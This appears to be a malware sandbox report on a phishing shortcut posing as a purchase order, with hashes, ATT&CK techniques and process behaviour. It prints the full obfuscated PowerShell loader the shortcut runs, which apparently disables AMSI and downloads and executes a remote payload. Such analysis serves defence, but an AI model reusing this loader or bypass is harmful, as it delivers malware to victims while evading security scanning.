8af31cc4f0936dcb289eb4474a4c14b05d6f62407e08964b293d3c3a3441d556

Analysis

max time kernel
21s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
29-12-2024 05:28

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General

Target

Purchase order 76353 ALtan.lnk
Size

3KB
MD5

b4595b72f1d67c6062fd286be15aebd4
SHA1

87c2b6d575baa07f4d13a3332c8858983dbc3284
SHA256

55756cbf17c39876ec3bb2ca836ea9b55741622aafd3237d9ef2e971502d0d29
SHA512

16bd5d57e5e83d3f5f7202744063c6d7c05be69425b6758997c2f53c893d720809fb793639f7dde9451c3c3c1f409de8e3d4ebe0861bfd7740491cf74137a1b9

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2864	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2864	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2864	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 2864	2248	cmd.exe	31
PID 2248 wrote to memory of 2864	2248	cmd.exe	31
PID 2248 wrote to memory of 2864	2248	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Purchase order 76353 ALtan.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2248
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -WindowStyle 1 $na='';function mdpoig($yb){$rx=[Text.StringBuilder]::New();$od=11;for($eb=0;$eb -lt $yb.Length;$eb+=2){$qq=-join($yb.Substring($eb,2)[1,0]);[void]$rx.Append([char]([System.Convert]::ToUInt16($qq,16)+$od));};return $rx.ToString();};$ct=mdpoig '84E68696A5263224653665C5A526A536963263A69646266596E5463632632686E5A496E51686';$ww=mdpoig '652686E5E336E596B365E516A595';$zu=mdpoig '34463654A67516E5851284966596E585';try{[Ref].Assembly.GetType($ct).GetField($ww,$zu).SetValue($Null,$True)}catch{};;$dy='XEWIOIXVKWMS';sal xmd ($dy[3,1,0] -join(''));$dd=mdpoig 'D596965686F24242C6C6C632066516E556A516A68622756536F5657636A5C56576653295A5866532E59542B6A53695467642D5962616725695B5424585166586864246A6962262C2C2D2C2A26252D2523275E536';$is=[Net.WebRequest]::Create($dd);$nf=$is.GetResponse();$zd=$nf.GetResponseStream();$px=[IO.StreamReader]::New($zd);$du=$px.ReadToEnd() -replace '\r*\n','';xmd((mdpoig $du));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2864-43-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-42-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-41-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-40-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2864-39-0x000000001B250000-0x000000001B532000-memory.dmp

Filesize
2.9MB

Download
memory/2864-38-0x000007FEF5E1E000-0x000007FEF5E1F000-memory.dmp

Filesize
4KB

Download
memory/2864-44-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-45-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-46-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-47-0x000007FEF5E1E000-0x000007FEF5E1F000-memory.dmp

Filesize
4KB

Download
memory/2864-48-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-49-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-50-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-51-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-52-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-53-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2864-54-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download